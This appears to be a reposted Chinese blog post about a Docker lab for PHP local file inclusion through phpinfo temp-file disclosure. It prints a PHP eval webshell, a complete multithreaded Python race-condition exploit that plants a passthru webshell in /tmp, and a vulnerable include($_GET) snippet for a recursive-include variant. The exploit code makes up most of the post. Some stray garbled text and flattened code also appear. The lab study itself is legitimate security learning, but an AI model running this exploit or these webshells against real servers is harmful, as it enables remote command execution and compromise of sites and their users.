[LFI]Phpinfo本地文件包含漏洞环境搭建分析

来源:互联网 发布:淘宝类目推广 编辑:程序博客网 时间:2024/05/03 10:02

0x00

本地文件包含漏洞即网站未对用户可控变量进行控制,导致用户可以控制包含变量。

0x01

参考wooyun上的教程中遇到问题如下:

Can not  connect to the docker deamon

权限不够,docker未提示,指令前加sudo

sudo docker run –rm -p “8901:80” janes/lfi_phpinfo

LP}B[0@MX3)}%YQV@N%_$LB

8901为本机端口,80为容器端口,即将容器80端口映射至本机8901端口

janes/lfi_phpinfo为容器仓库名

本机80端口占用问题一直未解决,明明kill了所有80端口进程

最后还是未能成功取得shell.还是因为本机端口与代码默认端口不同,利用指定端口指令,以代码出错告终。

0x03

upload.html

<!doctype html><html><body>    <form action="phpinfo.php" method="POST" enctype="multipart/form-data">    <h3> Test upload tmp file</h3>    <label for="file">Filename:</label>    <input type="file" name="file"/><br/>    <input type="submit" name="submit" value="Submit" /></form></body></html>

file.txt


<?phpeval($_REQUEST["cmd"]);?>

教程中将file.txt上传至upload.html中,再利用phpinfo泄露的临时文件路径


temp文件命名规则为:php+a-zA-Z0-9

temp文件一般在我们反应过来之前就自己删除了。

因此我们需要借助一些手段来延长他的消失时间,就是时间竞争

0x04

一种post大量数据,数据会分块传输,加长传输时间

#!/usr/bin/env pyhon# -*-coding: utf-8 -*-"""php 处理脚本执行完后再删除临时文件,间隔时间极短"""import sysimport threadingimport socketimport loggingfrom argparse import ArgumentParserlogging.basicConfig(level=logging.INFO)log = logging.getLogger(__name__)def setup(host, port):    tag = "Security Test"    boundary = '---------------------------11008921013555437861019615112'#分隔符    #    # php_path maybe '/lfi_phpinfo' or ''    php_path = ''    payload = "{tag}\r\n".format(tag=tag)    payload += '<?php $c=fopen("/tmp/gc", "w");fwrite($c, \'<?php passthru($_GET["f"]);?>\');?>'    req_data = '--{b}\r\n'.format(b=boundary)    req_data += 'Content-Disposition: form-data; name="file"; filename="file.txt"\r\n'    req_data += 'Content-Type: text/plain\r\n'    req_data += '\r\n'    req_data += '{payload}\r\n'.format(payload=payload)    req_data += '--{b}--'.format(b=boundary)    # padding for delay php server delete tmp file    # 这种方式是phpinfo返回发送的头信息,信息过大的话就采用分块传输,padding增加了传输时间,根据需要改    padding = 'A' * 8000    req = 'POST {path}/phpinfo.php?a={padding} HTTP/1.1\r\n'.format(path=php_path, padding=padding)    req += 'Host: {host}\r\n'.format(host=host)    req += 'Cookie: othercookie={padding}\r\n'.format(padding=padding)    req += 'User-Agent: {padding}\r\n'.format(padding=padding)    #req += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'    req += 'Accept: {padding}\r\n'.format(padding=padding)    req += 'Accept-Language: {padding}\r\n'.format(padding=padding)    req += 'Accept-Encoding: {padding}\r\n'.format(padding=padding)    req += 'Content-Type: multipart/form-data; boundary={b}\r\n'.format(b=boundary)    req += 'Content-Length: {l}\r\n'.format(l=len(req_data))    req += 'Connection: close\r\n'    req += '\r\n'    req += '{data}'.format(data=req_data)    # modify this to suit the LFI script    lfi_req = 'GET {path}/lfi.php?load=%s HTTP/1.1\r\n'.format(path=php_path)    lfi_req += 'Connection: Keep-alive\r\n'    lfi_req += 'Host: %s\r\n'    lfi_req += '\r\n'    return (req, tag, lfi_req)def lfi_phpinfo(host, port, phpinfo_req, offset, lfi_req, tag):    s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s1.connect((host, port))    s2.connect((host, port))    s1.sendall(phpinfo_req)    data = ""    while len(data) < offset:        data += s1.recv(offset)    try:        index = data.index("[tmp_name] =>")        fn = data[index+17: index+31]    except ValueError as e:        err_msg = "fetch temp file path error: {e}".format(e=e)        log.error(err_msg)        return None    s2.sendall(lfi_req % (fn, host))    data = s2.recv(4096)    # debug    log.debug(data)    s1.close()    s2.close()    if data.find(tag) != -1:        return fncounter = 0class ThreadWorker(threading.Thread):    def __init__(self, event, lock, maxattempts, *args):        threading.Thread.__init__(self)        self.event = event        self.lock = lock        self.maxattempts = maxattempts        self.args = args    def run(self):        global counter        while not self.event.is_set():            with self.lock:                if counter >= self.maxattempts:                    return                counter += 1            try:                x = lfi_phpinfo(*self.args)                if self.event.is_set():                    break                if x:                    info_msg = "\nGot it! Shell created in /tmp/g"                    log.info(info_msg)                    self.event.set()            except socket.error:                returndef getoffset(host, port, phpinfo_req):    """Gets offset of tmp_name in php output    """    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s.connect((host, port))    s.sendall(phpinfo_req)    data = ""    while True:        rcv_data = s.recv(4096)        data += rcv_data        if rcv_data == "":            break        # detect the final chunk        if rcv_data.endswith("0\r\n\r\n"):            break    s.close()    # debug    #log.debug(data)    index = data.find("[tmp_name] =>")    if index == -1:        raise ValueError("No php tmp_name in phpinfo output")    info_msg = "found {file} at {index}".format(file=data[index:index+10], index=index)    log.info(info_msg)    # padded up a bit    return index+256def main():    banner = "LFI with phpinfo()\n"    banner += "=" * 30    print(banner)    usage = "python {prog} host [port] [threads]. -h for help".format(prog=sys.argv[0])    parser = ArgumentParser(usage=usage)    parser.add_argument('host', help="ip or domain, e.g. 127.0.0.1")    parser.add_argument('-p', dest='port', type=int, default=80,            help="port, default is 80")    parser.add_argument('-t', dest='threads', type=int, default=10,            help="use n threads to access, default is 10")    args = parser.parse_args()    host = args.host    port = args.port    poolsz = args.threads    try:        host = socket.gethostbyname(sys.argv[1])    except socket.error as e:        err_msg = "Error with hostname {h}:{err}".format(h=sys.argv[1], err=e)        log.error(err_msg)        sys.exit(1)    info_msg = "Getting initial offset ..."    log.info(info_msg)    req, tag, lfi_req = setup(host, port)    #debug_msg = '\n\n'.join([req, tag, lfi_req])    #log.debug(debug_msg)    offset = getoffset(host, port, req)    sys.stdout.flush()    maxattempts = 500    event = threading.Event()    lock = threading.Lock()    tp = []    for i in range(poolsz):        tp.append(ThreadWorker(event, lock, maxattempts, host, port, req, offset, lfi_req, tag))    for t in tp:        t.start()    try:        while not event.wait(0.5):            if event.is_set():                break            with lock:                sys.stdout.write("\r\n% 4d / % 4d\n" % (counter, maxattempts))                sys.stdout.flush()                if counter >= maxattempts:                    break        if event.is_set():            info_msg = "Wowo! \m/"        else:            info_msg = ":("        log.info(info_msg)    except KeyboardInterrupt:        info_msg = "\nTelling threads to shutdown..."        log.info(info_msg)        event.set()    info_msg = "Shutting down..."    log.info(info_msg)    for t in tp:        t.join()if __name__ == "__main__":    main()

代码太长了,看不懂,不开森=-=

另一种方式即利用循环包含,层层嵌套,形成一个死循环,使temp文件一直存在

SIGSEGV:一种异常停止信号

<FORM ENCTYPE="multipart/form-data"ACTION="http://127.0.0.1/upload.php?c=upload.php" METHOD=POST>File to process: <INPUT NAME="userfile1"TYPE="file"><INPUT TYPE="submit" VALUE="Send File"></FORM><?php$a=$_GET['c'];include $a;?>

然后利用phpinfo泄露路径或者爆破文件名

0x05参考文献

http://drops.wooyun.org/web/13249

http://mp.weixin.qq.com/s?__biz=MzA4NzM0ODk0Nw==&mid=2649577458&idx=1&sn=485509d5fd3e0dcac1fb52543ffea46d&scene=0#wechat_redirect




0 0
原创粉丝点击